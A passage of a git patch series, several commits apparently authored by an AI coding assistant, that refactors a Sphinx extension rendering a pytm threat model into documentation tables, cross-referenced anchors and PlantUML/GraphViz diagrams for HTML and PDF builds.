getattr(thr, "prerequisites", "") or "", + "example": getattr(thr, "example", "") or "", + "references": getattr(thr, "references", "") or "", + "controls": [], } ) sev_order = {"Very High": 0, "High": 1, "Medium": 2, "Low": 3} threats.sort(key=lambda t: (sev_order.get(t["severity"], 9), t["id"])) + return threats - # -- Controls and gaps from unified CONTROLS list ------------------------- - _all_controls = list(getattr(mod, "CONTROLS", [])) - if _all_controls and _dc.is_dataclass(_all_controls[0]): - controls = [_dc.asdict(c) for c in _all_controls if c.status == "implemented"] - gaps = [_dc.asdict(c) for c in _all_controls if c.status != "implemented"] +def _extract_controls_and_gaps(mod: Any) -> tuple[list[dict], list[dict]]: + all_controls = list(getattr(mod, "CONTROLS", [])) + if all_controls and _dc.is_dataclass(all_controls[0]): + controls = [_dc.asdict(c) for c in all_controls if c.status == "implemented"] + gaps = [_dc.asdict(c) for c in all_controls if c.status != "implemented"] else: - # plain-dict fallback controls = [ - c for c in _all_controls if c.get("status", "implemented") == "implemented" + c for c in all_controls if c.get("status", "implemented") == "implemented" ] gaps = list(getattr(mod, "GAPS", [])) + return controls, gaps + - # Cross-reference: threats → controls +def _apply_threat_controls( + threats: list[dict], controls: list[dict], gaps: list[dict] +) -> None: threat_controls_map: dict[str, list[str]] = {} for ctrl in controls + gaps: for sid in ctrl.get("threats", []): threat_controls_map.setdefault(sid, []).append(ctrl["id"]) - for t in threats: - t["controls"] = threat_controls_map.get(t["id"], []) + for thr in threats: + thr["controls"] = threat_controls_map.get(thr["id"], []) - # -- Sequence diagram and DFD strings ------------------------------------ +def _generate_diagrams(mod: Any) -> tuple[str, str]: seq_str = "" dfd_str = "" - try: - buf = _io.StringIO() - with contextlib.redirect_stdout(buf): - result = mod.tm.seq() + buf = _io.StringIO() + with contextlib.suppress(Exception), contextlib.redirect_stdout(buf): + result = mod.tm.seq() seq_str = ( result if isinstance(result, str) and result.strip() else buf.getvalue() ) - except Exception: - seq_str = "" - try: - buf = _io.StringIO() - with contextlib.redirect_stdout(buf): - result = mod.tm.dfd() + buf = _io.StringIO() + with contextlib.suppress(Exception), contextlib.redirect_stdout(buf): + result = mod.tm.dfd() dfd_str = ( result if isinstance(result, str) and result.strip() else buf.getvalue() ) - except Exception: - dfd_str = "" + return seq_str, dfd_str + + +def _extract_actors(elements: list) -> list[dict]: + return [ + { + "name": el.name, + "boundary": getattr(el.inBoundary, "name", ""), + "description": (getattr(el, "description", "") or "").strip(), + } + for el in elements + if isinstance(el, _Actor) + ] - # -- Actors -------------------------------------------------------------- - actors: list[dict] = [] - for el in TM._elements: - if not isinstance(el, _Actor): - continue - actors.append( - { - "name": el.name, - "boundary": getattr(el.inBoundary, "name", ""), - "description": (getattr(el, "description", "") or "").strip(), - } - ) +def _extract_boundaries() -> list[dict]: + return [ + { + "name": b.name, + "description": (getattr(b, "description", "") or "").strip(), + } + for b in getattr(TM, "_boundaries", []) + ] - # -- Trust boundaries ---------------------------------------------------- - boundaries: list[dict] = [] - for b in getattr(TM, "_boundaries", []): - boundaries.append( - { - "name": b.name, - "description": (getattr(b, "description", "") or "").strip(), - } - ) - # -- Modelling assumptions ------------------------------------------------ - assumptions: list[dict] = [] - for a in getattr(mod.tm, "assumptions", []): - assumptions.append( - { - "name": getattr(a, "name", str(a)), - "description": (getattr(a, "description", "") or "").strip(), - } - ) +def _extract_assumptions(mod: Any) -> list[dict]: + return [ + { + "name": getattr(a, "name", str(a)), + "description": (getattr(a, "description", "") or "").strip(), + } + for a in getattr(mod.tm, "assumptions", []) + ] + + +def _load_model(model_path: str) -> dict: + """Import the threat model file and extract all structured data.""" + TM.reset() + + spec = importlib.util.spec_from_file_location("_pytm_model_tmp", model_path) + mod = importlib.util.module_from_spec(spec) # type: ignore[arg-type] + spec.loader.exec_module(mod) # type: ignore[union-attr] + mod.tm.resolve() + + elements = list(getattr(TM, "_elements", [])) + candidate_elements = elements + list(getattr(TM, "_data", [])) + threats = _extract_raw_threats() + controls, gaps = _extract_controls_and_gaps(mod) + _apply_threat_controls(threats, controls, gaps) + seq_str, dfd_str = _generate_diagrams(mod) return { - "assumptions": assumptions, - "boundaries": boundaries, - "actors": actors, - "assets": assets, - "dataflows": dataflows, + "assumptions": _extract_assumptions(mod), + "boundaries": _extract_boundaries(), + "actors": _extract_actors(elements), + "assets": _extract_assets(candidate_elements), + "dataflows": _extract_dataflows(elements), "threats": threats, "controls": controls, "gaps": gaps, @@ -610,7 +612,7 @@ def _on_builder_inited(app: Sphinx) -> None: try: mtime = os.path.getmtime(model_path) data = _load_model(model_path) - app._pytm_cache = {(model_path, mtime): data} + _model_cache[(model_path, mtime)] = data logger.info( f"pytm: loaded {len(data['assumptions'])} assumptions, " f"{len(data['boundaries'])} boundaries, " @@ -622,7 +624,18 @@ def _on_builder_inited(app: Sphinx) -> None: f"{len(data['gaps'])} gaps " f"from {os.path.basename(model_path)}" ) - except Exception as exc: + except ( + AttributeError, + ImportError, + RuntimeError, + OSError, + TypeError, + ValueError, + NameError, + SyntaxError, + KeyError, + IndexError, + ) as exc: logger.warning(f"pytm: failed to preload model: {exc}", exc_info=True) diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index b6f7e3dff..0c7142c6e 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -17,38 +17,9 @@ classification methodology. .. _`EN 18031`: https://www.cenelec.eu/ The threat model is maintained as executable code in ``security/threat_model.py`` -using the `pytm`_ framework. Regenerate analysis output with: - -.. code-block:: bash - - python -m security.threat_model --seq # PlantUML sequence diagram (stdout) - python -m security.threat_model --dfd # Graphviz DFD (stdout) - python -m security.threat_model --report # STRIDE findings report - -.. note:: - - The ``security/`` package is intentionally excluded from built wheels and is - **not** installed by ``pip install dfetch[security]``. These commands must - be run from a source checkout with the repository root on ``PYTHONPATH`` (or - simply from the repository root, where Python resolves the ``security`` - package automatically). - -.. note:: - - The ``--seq`` and ``--dfd`` commands require **PlantUML** and **Graphviz** - to be installed on the system. These are not Python packages and are not - installed by ``pip install .[security]``. Install them separately (e.g. - ``apt install plantuml graphviz`` or via your platform package manager) - before running the diagram commands. - -.. _pytm: https://github.com/izar/pytm - -.. note:: - - This document covers **Phase 1: asset register and implemented controls**. - STRIDE threat enumeration, risk scoring, and controls-gap mapping will be - added in subsequent phases. +using the `pytm`_ framework. +.. _pytm: https://github.com/owasp/pytm Product Security Context ------------------------ @@ -123,7 +94,6 @@ the pytm model. Operating environment ~~~~~~~~~~~~~~~~~~~~~ - .. pytm:: :boundaries: From 642a1e1a84b47a3e06601d489704a2947f1d14f6 Mon Sep 17 00:00:00 2001 From: Ben Date: Fri, 1 May 2026 15:50:49 +0000 Subject: [PATCH 18/28] sphinx.ext.graphviz now registers graph first via Sphinx's API, then plantweb silently overwrites it at the docutils level (which is exactly what its own source comment says it does to avoid generating warnings). The [app.add_directive] warning disappears, and .. graphviz:: continues to work for the DFD rendering. --- doc/conf.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/conf.py b/doc/conf.py index 1df48c37f..ee21c1da7 100644 --- a/doc/conf.py +++ b/doc/conf.py @@ -44,6 +44,7 @@ extensions = [ "sphinx_sitemap", "sphinx_design", + "sphinx.ext.graphviz", "plantweb.directive", "scenario_directive", "latex_tabs", @@ -62,7 +63,6 @@ "colordot", "designguide", "pytm_directive", - "sphinx.ext.graphviz", ] # Path to the pytm threat model; used by the ``.. pytm::`` directive. From e49920764b7544232b8b8daee971a8804ce6daa7 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 21:43:14 +0000 Subject: [PATCH 19/28] fix(docs): render threat-model diagrams in PDF; fix table page-breaks - _generate_diagrams: pre-renders PlantUML sequence diagram to PNG via plantweb Python API (confdir/_static/pytm/threat_model_seq.png) so the LaTeX builder embeds it with ``.. image::`` rather than calling the network-dependent ``.. uml::`` directive at compile time. Falls back silently to ``.. only:: html`` wrapper when plantweb is unavailable or the render server is unreachable. - _render_dfd: removes the ``.. only:: html`` guard so sphinx.ext.graphviz produces the DFD via local ``dot`` binary in both HTML and PDF builds. Previously the guard excluded the diagram from PDF entirely. - _list_table: prepends ``.. tabularcolumns::`` with proportional ``p{\linewidth}`` column specs so Sphinx uses the LaTeX ``longtable`` environment, allowing tall tables (controls, gaps, threats) to break vertically across page boundaries. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/_ext/pytm_directive.py | 62 ++++++++++++++++++++++++++++---------- 1 file changed, 46 insertions(+), 16 deletions(-) diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 8f2140ee5..62665077c 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -155,7 +155,9 @@ def run(self) -> list[nodes.Node]: if "threats" in self.options: sections.append(_render_threats(data["threats"])) if "seq" in self.options: - sections.append(_render_seq(data.get("seq", ""))) + sections.append( + _render_seq(data.get("seq", ""), data.get("seq_img_path", "")) + ) if "dfd" in self.options: sections.append(_render_dfd(data.get("dfd", ""))) @@ -281,7 +283,7 @@ def _apply_threat_controls( thr["controls"] = threat_controls_map.get(thr["id"], []) -def _generate_diagrams(mod: Any) -> tuple[str, str]: +def _generate_diagrams(mod: Any, confdir: str = "") -> tuple[str, str, str]: seq_str = "" dfd_str = "" buf = _io.StringIO() @@ -296,7 +298,23 @@ def _generate_diagrams(mod: Any) -> tuple[str, str]: dfd_str = ( result if isinstance(result, str) and result.strip() else buf.getvalue() ) - return seq_str, dfd_str + + seq_img_path = "" + if seq_str and confdir: + with contextlib.suppress(Exception): + from plantweb.render import render as _pw_render + + pytm_static = os.path.join(confdir, "_static", "pytm") + os.makedirs(pytm_static, exist_ok=True) + out_png = os.path.join(pytm_static, "threat_model_seq.png") + _fmt, img_bytes = _pw_render( + seq_str.encode(), engine="plantuml", format="png" + ) + with open(out_png, "wb") as fh: + fh.write(img_bytes) + seq_img_path = "/_static/pytm/threat_model_seq.png" + + return seq_str, dfd_str, seq_img_path def _extract_actors(elements: list) -> list[dict]: @@ -331,7 +349,7 @@ def _extract_assumptions(mod: Any) -> list[dict]: ] -def _load_model(model_path: str) -> dict: +def _load_model(model_path: str, confdir: str = "") -> dict: """Import the threat model file and extract all structured data.""" TM.reset() @@ -345,7 +363,7 @@ def _load_model(model_path: str) -> dict: threats = _extract_raw_threats() controls, gaps = _extract_controls_and_gaps(mod) _apply_threat_controls(threats, controls, gaps) - seq_str, dfd_str = _generate_diagrams(mod) + seq_str, dfd_str, seq_img_path = _generate_diagrams(mod, confdir) return { "assumptions": _extract_assumptions(mod), @@ -357,6 +375,7 @@ def _load_model(model_path: str) -> dict: "controls": controls, "gaps": gaps, "seq": seq_str, + "seq_img_path": seq_img_path, "dfd": dfd_str, } @@ -411,8 +430,15 @@ def _cell(text: str) -> str: def _list_table(headers: list[str], rows: list[list[str]], widths: list[int]) -> str: - """Build a ``.. list-table::`` RST block.""" + """Build a ``.. list-table::`` RST block with longtable support for LaTeX.""" + total = sum(widths) or 1 + scale = 0.92 + col_spec = "".join( + f"p{{{w / total * scale:.2f}\\linewidth}}" for w in widths + ) lines = [ + f".. tabularcolumns:: {col_spec}", + "", ".. list-table::", " :header-rows: 1", f' :widths: {" ".join(str(w) for w in widths)}', @@ -557,12 +583,19 @@ def _render_threats(threats: list[dict]) -> str: return _list_table(headers, rows, widths) -def _render_seq(seq_str: str) -> str: +def _render_seq(seq_str: str, seq_img_path: str = "") -> str: if not seq_str or not seq_str.strip(): return ".. note::\n\n No sequence diagram generated by the threat model." - # Wrap in ``.. only:: html`` so the plantweb UML directive is never - # included in LaTeX/PDF builds (plantweb contacts a remote render - # server; if unreachable Sphinx emits \includegraphics{None}). + if seq_img_path: + # Pre-rendered PNG is available: embed directly (works in HTML + PDF). + return ( + f".. image:: {seq_img_path}\n" + " :alt: Threat model sequence diagram\n" + " :align: center\n" + " :width: 100%" + ) + # Fallback: plantweb UML directive for HTML only (PDF excluded to avoid + # \includegraphics{None} when the render server is unreachable). lines = [".. only:: html", "", " .. uml::", ""] for line in seq_str.splitlines(): lines.append(" " + line if line.strip() else "") @@ -572,12 +605,9 @@ def _render_seq(seq_str: str) -> str: def _render_dfd(dfd_str: str) -> str: if not dfd_str or not dfd_str.strip(): return ".. note::\n\n No data-flow diagram generated by the threat model." - # Wrap in ``.. only:: html`` so sphinx.ext.graphviz is never invoked - # in LaTeX/PDF builds (dot binary may be absent, producing - # \includegraphics{None} and breaking the PDF compile). - lines = [".. only:: html", "", " .. graphviz::", ""] + lines = [".. graphviz::", ""] for line in dfd_str.splitlines(): - lines.append(" " + line if line.strip() else "") + lines.append(" " + line if line.strip() else "") return "\n".join(lines) @@ -611,7 +641,7 @@ def _on_builder_inited(app: Sphinx) -> None: return try: mtime = os.path.getmtime(model_path) - data = _load_model(model_path) + data = _load_model(model_path, confdir=app.confdir) _model_cache[(model_path, mtime)] = data logger.info( f"pytm: loaded {len(data['assumptions'])} assumptions, " From 1441bda09260b499af97766cc5f71effae41ed4b Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 21:48:39 +0000 Subject: [PATCH 20/28] fix(docs): pre-render DFD to PNG; restore graphviz html fallback The previous commit emitted bare ``.. graphviz::`` without an ``.. only:: html`` guard. On CI runners where the ``dot`` binary is not installed sphinx.ext.graphviz fails silently and emits ``\includegraphics{None}``, which crashes pdflatex. Fix: _generate_diagrams now calls ``dot -Tpng`` via subprocess to pre-render the DFD to _static/pytm/threat_model_dfd.png (same pattern as the plantweb pre-render for the sequence diagram). _render_dfd emits ``.. image::`` when the PNG is available. If ``dot`` is absent the exception is suppressed and the output falls back to ``.. only:: html`` (diagram visible in HTML, absent from PDF but no crash). Both diagrams therefore appear in PDF when the necessary tools are available on the build host, and neither causes a build failure when they are not. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/_ext/pytm_directive.py | 68 +++++++++++++++++++++++++++----------- 1 file changed, 48 insertions(+), 20 deletions(-) diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 62665077c..e48965072 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -159,7 +159,9 @@ def run(self) -> list[nodes.Node]: _render_seq(data.get("seq", ""), data.get("seq_img_path", "")) ) if "dfd" in self.options: - sections.append(_render_dfd(data.get("dfd", ""))) + sections.append( + _render_dfd(data.get("dfd", ""), data.get("dfd_img_path", "")) + ) rst = "\n\n".join(sections) return _parse_rst(rst, self.state, self.content_offset, model_path) @@ -283,7 +285,7 @@ def _apply_threat_controls( thr["controls"] = threat_controls_map.get(thr["id"], []) -def _generate_diagrams(mod: Any, confdir: str = "") -> tuple[str, str, str]: +def _generate_diagrams(mod: Any, confdir: str = "") -> tuple[str, str, str, str]: seq_str = "" dfd_str = "" buf = _io.StringIO() @@ -300,21 +302,36 @@ def _generate_diagrams(mod: Any, confdir: str = "") -> tuple[str, str, str]: ) seq_img_path = "" - if seq_str and confdir: - with contextlib.suppress(Exception): - from plantweb.render import render as _pw_render - - pytm_static = os.path.join(confdir, "_static", "pytm") - os.makedirs(pytm_static, exist_ok=True) - out_png = os.path.join(pytm_static, "threat_model_seq.png") - _fmt, img_bytes = _pw_render( - seq_str.encode(), engine="plantuml", format="png" - ) - with open(out_png, "wb") as fh: - fh.write(img_bytes) - seq_img_path = "/_static/pytm/threat_model_seq.png" + dfd_img_path = "" + if confdir: + pytm_static = os.path.join(confdir, "_static", "pytm") + if seq_str: + with contextlib.suppress(Exception): + from plantweb.render import render as _pw_render + + os.makedirs(pytm_static, exist_ok=True) + out_png = os.path.join(pytm_static, "threat_model_seq.png") + _fmt, img_bytes = _pw_render( + seq_str.encode(), engine="plantuml", format="png" + ) + with open(out_png, "wb") as fh: + fh.write(img_bytes) + seq_img_path = "/_static/pytm/threat_model_seq.png" + if dfd_str: + with contextlib.suppress(Exception): + import subprocess + + os.makedirs(pytm_static, exist_ok=True) + out_png = os.path.join(pytm_static, "threat_model_dfd.png") + subprocess.run( + ["dot", "-Tpng", "-o", out_png], + input=dfd_str.encode(), + capture_output=True, + check=True, + ) + dfd_img_path = "/_static/pytm/threat_model_dfd.png" - return seq_str, dfd_str, seq_img_path + return seq_str, dfd_str, seq_img_path, dfd_img_path def _extract_actors(elements: list) -> list[dict]: @@ -363,7 +380,7 @@ def _load_model(model_path: str, confdir: str = "") -> dict: threats = _extract_raw_threats() controls, gaps = _extract_controls_and_gaps(mod) _apply_threat_controls(threats, controls, gaps) - seq_str, dfd_str, seq_img_path = _generate_diagrams(mod, confdir) + seq_str, dfd_str, seq_img_path, dfd_img_path = _generate_diagrams(mod, confdir) return { "assumptions": _extract_assumptions(mod), @@ -377,6 +394,7 @@ def _load_model(model_path: str, confdir: str = "") -> dict: "seq": seq_str, "seq_img_path": seq_img_path, "dfd": dfd_str, + "dfd_img_path": dfd_img_path, } @@ -602,12 +620,22 @@ def _render_seq(seq_str: str, seq_img_path: str = "") -> str: return "\n".join(lines) -def _render_dfd(dfd_str: str) -> str: +def _render_dfd(dfd_str: str, dfd_img_path: str = "") -> str: if not dfd_str or not dfd_str.strip(): return ".. note::\n\n No data-flow diagram generated by the threat model." - lines = [".. graphviz::", ""] + if dfd_img_path: + # Pre-rendered PNG: embed directly (works in HTML + PDF). + return ( + f".. image:: {dfd_img_path}\n" + " :alt: Threat model data flow diagram\n" + " :align: center\n" + " :width: 100%" + ) + # Fallback: graphviz directive for HTML only (PDF excluded to avoid + # \includegraphics{None} when dot is absent on the build host). + lines = [".. only:: html", "", " .. graphviz::", ""] for line in dfd_str.splitlines(): - lines.append(" " + line if line.strip() else "") + lines.append(" " + line if line.strip() else "") return "\n".join(lines) From 441aa385aea4ed53cfb7d171223ee83b9878de01 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 22:01:57 +0000 Subject: [PATCH 21/28] feat(docs): add clickable cross-reference links between threats/controls/gaps Each ID cell in the threats, controls, gaps, assets, and dataflows tables now carries a ``.. _label:`` anchor so Sphinx registers it as a named cross-reference target. Cross-reference columns (Controls column in the threats table; Asset(s) and Threat(s) columns in the controls and gaps tables) now emit ``:ref:`` links instead of plain text, allowing one-click navigation between related items in both the HTML and PDF renders. A new _ref_list() helper builds comma-separated ``:ref:`ID ``` strings and returns an em-dash for empty lists. _list_table() gains an anchor_first_col flag that injects ``.. _label:`` + blank line before each ID cell, which Sphinx picks up as a valid explicit hyperlink target. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/_ext/pytm_directive.py | 43 +++++++++++++++++++++++++++----------- 1 file changed, 31 insertions(+), 12 deletions(-) diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index e48965072..5279baa6b 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -447,7 +447,20 @@ def _cell(text: str) -> str: return text -def _list_table(headers: list[str], rows: list[list[str]], widths: list[int]) -> str: +def _ref_list(ids: list[str]) -> str: + """Return comma-separated :ref: links to the given IDs, or em-dash if empty.""" + filtered = [i for i in ids if i] + if not filtered: + return "—" + return ", ".join(f":ref:`{i} <{i.lower()}>`" for i in filtered) + + +def _list_table( + headers: list[str], + rows: list[list[str]], + widths: list[int], + anchor_first_col: bool = False, +) -> str: """Build a ``.. list-table::`` RST block with longtable support for LaTeX.""" total = sum(widths) or 1 scale = 0.92 @@ -466,7 +479,13 @@ def _list_table(headers: list[str], rows: list[list[str]], widths: list[int]) -> for h in headers[1:]: lines.append(" - " + h) for row in rows: - lines.append(" * - " + row[0]) + if anchor_first_col: + label = row[0].lower().replace(" ", "-") + lines.append(f" * - .. _{label}:") + lines.append("") + lines.append(f" {row[0]}") + else: + lines.append(" * - " + row[0]) for cell in row[1:]: lines.append(" - " + cell) return "\n".join(lines) @@ -513,7 +532,7 @@ def _render_assets(assets: list[dict]) -> str: [a["id"], a["name"], a["classification"], _cell(a["description"])] for a in assets ] - return _list_table(headers, rows, widths) + return _list_table(headers, rows, widths, anchor_first_col=True) def _render_dataflows(dataflows: list[dict]) -> str: @@ -530,7 +549,7 @@ def _render_dataflows(dataflows: list[dict]) -> str: ] for d in dataflows ] - return _list_table(headers, rows, widths) + return _list_table(headers, rows, widths, anchor_first_col=True) def _render_controls(controls: list[dict]) -> str: @@ -552,12 +571,12 @@ def _render_controls(controls: list[dict]) -> str: [ c.get("id", "—"), c.get("name", "—"), - ", ".join(c.get("assets", [])), - ", ".join(c.get("threats", [])), + _ref_list(c.get("assets", [])), + _ref_list(c.get("threats", [])), desc, ] ) - return _list_table(headers, rows, widths) + return _list_table(headers, rows, widths, anchor_first_col=True) def _render_gaps(gaps: list[dict]) -> str: @@ -573,13 +592,13 @@ def _render_gaps(gaps: list[dict]) -> str: [ g.get("id", "—"), g.get("name", "—"), - ", ".join(g.get("assets", [])), - ", ".join(g.get("threats", [])), + _ref_list(g.get("assets", [])), + _ref_list(g.get("threats", [])), _cell(g.get("description", "")), ] for g in gaps ] - return _list_table(headers, rows, widths) + return _list_table(headers, rows, widths, anchor_first_col=True) def _render_threats(threats: list[dict]) -> str: @@ -594,11 +613,11 @@ def _render_threats(threats: list[dict]) -> str: t["severity"], t["likelihood"], _cell(t["description"]), - ", ".join(t.get("controls", [])) or "—", + _ref_list(t.get("controls", [])), ] for t in threats ] - return _list_table(headers, rows, widths) + return _list_table(headers, rows, widths, anchor_first_col=True) def _render_seq(seq_str: str, seq_img_path: str = "") -> str: From 258b8ee605746f966c461f87f02cb237d394c6e6 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 22:17:54 +0000 Subject: [PATCH 22/28] fix(docs): render DFD and seq via plantweb/plantuml.com in all builders MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The pre-render-to-PNG approach was unreliable: subprocess dot and plantweb API calls failed silently, falling back to ``.. only:: html`` and hiding both diagrams from the PDF. Root cause: graphviz (dot) is not installed in the CI doc/PDF build jobs, and sphinx.ext.graphviz unconditionally emits \sphinxincludegraphics{None} when dot is absent — crashing pdflatex. Fix: use ``.. uml::`` via plantweb.directive for both diagrams, matching exactly how the existing architecture diagrams are rendered: - Sequence diagram: pass pytm's @startuml/@enduml output directly to ``.. uml::`` — plantweb sends it to plantuml.com. - Data-flow diagram: wrap pytm's GraphViz DOT output in PlantUML @startdot/@enddot tags and pass it to ``.. uml::`` — plantuml.com renders GraphViz natively, no local dot binary required. plantuml.com is in the egress allowlist for both the HTML and PDF CI jobs and is already used successfully for all other UML diagrams in the docs. This also removes the complex pre-render infrastructure (_generate_diagrams confdir parameter, seq_img_path/dfd_img_path in the data dict, subprocess and plantweb-API pre-render blocks) which is no longer needed. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/_ext/pytm_directive.py | 88 ++++++++------------------------------ 1 file changed, 18 insertions(+), 70 deletions(-) diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 5279baa6b..a8cff2ac0 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -155,13 +155,9 @@ def run(self) -> list[nodes.Node]: if "threats" in self.options: sections.append(_render_threats(data["threats"])) if "seq" in self.options: - sections.append( - _render_seq(data.get("seq", ""), data.get("seq_img_path", "")) - ) + sections.append(_render_seq(data.get("seq", ""))) if "dfd" in self.options: - sections.append( - _render_dfd(data.get("dfd", ""), data.get("dfd_img_path", "")) - ) + sections.append(_render_dfd(data.get("dfd", ""))) rst = "\n\n".join(sections) return _parse_rst(rst, self.state, self.content_offset, model_path) @@ -285,7 +281,7 @@ def _apply_threat_controls( thr["controls"] = threat_controls_map.get(thr["id"], []) -def _generate_diagrams(mod: Any, confdir: str = "") -> tuple[str, str, str, str]: +def _generate_diagrams(mod: Any) -> tuple[str, str]: seq_str = "" dfd_str = "" buf = _io.StringIO() @@ -300,38 +296,7 @@ def _generate_diagrams(mod: Any, confdir: str = "") -> tuple[str, str, str, str] dfd_str = ( result if isinstance(result, str) and result.strip() else buf.getvalue() ) - - seq_img_path = "" - dfd_img_path = "" - if confdir: - pytm_static = os.path.join(confdir, "_static", "pytm") - if seq_str: - with contextlib.suppress(Exception): - from plantweb.render import render as _pw_render - - os.makedirs(pytm_static, exist_ok=True) - out_png = os.path.join(pytm_static, "threat_model_seq.png") - _fmt, img_bytes = _pw_render( - seq_str.encode(), engine="plantuml", format="png" - ) - with open(out_png, "wb") as fh: - fh.write(img_bytes) - seq_img_path = "/_static/pytm/threat_model_seq.png" - if dfd_str: - with contextlib.suppress(Exception): - import subprocess - - os.makedirs(pytm_static, exist_ok=True) - out_png = os.path.join(pytm_static, "threat_model_dfd.png") - subprocess.run( - ["dot", "-Tpng", "-o", out_png], - input=dfd_str.encode(), - capture_output=True, - check=True, - ) - dfd_img_path = "/_static/pytm/threat_model_dfd.png" - - return seq_str, dfd_str, seq_img_path, dfd_img_path + return seq_str, dfd_str def _extract_actors(elements: list) -> list[dict]: @@ -366,7 +331,7 @@ def _extract_assumptions(mod: Any) -> list[dict]: ] -def _load_model(model_path: str, confdir: str = "") -> dict: +def _load_model(model_path: str) -> dict: """Import the threat model file and extract all structured data.""" TM.reset() @@ -380,7 +345,7 @@ def _load_model(model_path: str, confdir: str = "") -> dict: threats = _extract_raw_threats() controls, gaps = _extract_controls_and_gaps(mod) _apply_threat_controls(threats, controls, gaps) - seq_str, dfd_str, seq_img_path, dfd_img_path = _generate_diagrams(mod, confdir) + seq_str, dfd_str = _generate_diagrams(mod) return { "assumptions": _extract_assumptions(mod), @@ -392,9 +357,7 @@ def _load_model(model_path: str, confdir: str = "") -> dict: "controls": controls, "gaps": gaps, "seq": seq_str, - "seq_img_path": seq_img_path, "dfd": dfd_str, - "dfd_img_path": dfd_img_path, } @@ -620,41 +583,26 @@ def _render_threats(threats: list[dict]) -> str: return _list_table(headers, rows, widths, anchor_first_col=True) -def _render_seq(seq_str: str, seq_img_path: str = "") -> str: +def _render_seq(seq_str: str) -> str: if not seq_str or not seq_str.strip(): return ".. note::\n\n No sequence diagram generated by the threat model." - if seq_img_path: - # Pre-rendered PNG is available: embed directly (works in HTML + PDF). - return ( - f".. image:: {seq_img_path}\n" - " :alt: Threat model sequence diagram\n" - " :align: center\n" - " :width: 100%" - ) - # Fallback: plantweb UML directive for HTML only (PDF excluded to avoid - # \includegraphics{None} when the render server is unreachable). - lines = [".. only:: html", "", " .. uml::", ""] + # plantweb.directive provides ``.. uml::`` and calls plantuml.com — + # the same mechanism used for all other PlantUML diagrams in the docs. + lines = [".. uml::", ""] for line in seq_str.splitlines(): - lines.append(" " + line if line.strip() else "") + lines.append(" " + line if line.strip() else "") return "\n".join(lines) -def _render_dfd(dfd_str: str, dfd_img_path: str = "") -> str: +def _render_dfd(dfd_str: str) -> str: if not dfd_str or not dfd_str.strip(): return ".. note::\n\n No data-flow diagram generated by the threat model." - if dfd_img_path: - # Pre-rendered PNG: embed directly (works in HTML + PDF). - return ( - f".. image:: {dfd_img_path}\n" - " :alt: Threat model data flow diagram\n" - " :align: center\n" - " :width: 100%" - ) - # Fallback: graphviz directive for HTML only (PDF excluded to avoid - # \includegraphics{None} when dot is absent on the build host). - lines = [".. only:: html", "", " .. graphviz::", ""] + # Wrap the GraphViz DOT source in PlantUML @startdot/@enddot so plantweb + # renders it via plantuml.com — no local ``dot`` binary required. + lines = [".. uml::", "", " @startdot"] for line in dfd_str.splitlines(): - lines.append(" " + line if line.strip() else "") + lines.append(" " + line if line.strip() else "") + lines.append(" @enddot") return "\n".join(lines) @@ -688,7 +636,7 @@ def _on_builder_inited(app: Sphinx) -> None: return try: mtime = os.path.getmtime(model_path) - data = _load_model(model_path, confdir=app.confdir) + data = _load_model(model_path) _model_cache[(model_path, mtime)] = data logger.info( f"pytm: loaded {len(data['assumptions'])} assumptions, " From 4059c28539ac51865f87aa28ed9a73cb0d13ca21 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 22:37:55 +0000 Subject: [PATCH 23/28] =?UTF-8?q?fix(docs):=20split=20diagram=20rendering?= =?UTF-8?q?=20=E2=80=94=20plantweb=20for=20HTML,=20image=20for=20LaTeX=20P?= =?UTF-8?q?DF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Root cause: plantweb saves rendered PNGs to builder.outdir (``_build/latex/ plantweb/hash.png`` for the LaTeX builder, because ``builder.imagedir = ''``). Sphinx's copy_image_files copies images FROM srcdir TO outdir, so it copies ``srcdir/_build/latex/plantweb/hash.png → outdir/hash.png``. But srcdir is the RST source tree and ``_build/`` is outside it, so the source path doesn't resolve and the copy silently fails. pdflatex then crashes with: ! Unable to load picture or PDF file 'hash.png' Fix: separate HTML and LaTeX rendering: HTML (``.. only:: html``): ``.. uml::`` via plantweb.directive renders at Sphinx read time, calling plantuml.com. This correctly generates images in ``builder.outdir/_images/plantweb/`` for the HTML builder. LaTeX (``.. only:: latex``): ``_generate_diagrams`` pre-renders both diagrams to PNG using the plantweb Python API during ``builder-inited``, saving PNGs to ``confdir/_static/pytm/`` (the SOURCE TREE). ``.. image:: /_static/pytm/...`` then references these files. Sphinx resolves the /-path relative to srcdir, finds the PNG in the source tree, and copies it to ``_build/latex/`` where pdflatex can load it with ``\includegraphics{threat_model_dfd.png}``. If pre-rendering fails (plantweb unavailable, network blocked), the LaTeX block is simply omitted; diagrams are HTML-only but the PDF build does not crash. DFD: the GraphViz DOT output from pytm is wrapped in @startdot/@enddot so plantweb renders it via PlantUML's bundled GraphViz — no local dot binary needed. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/_ext/pytm_directive.py | 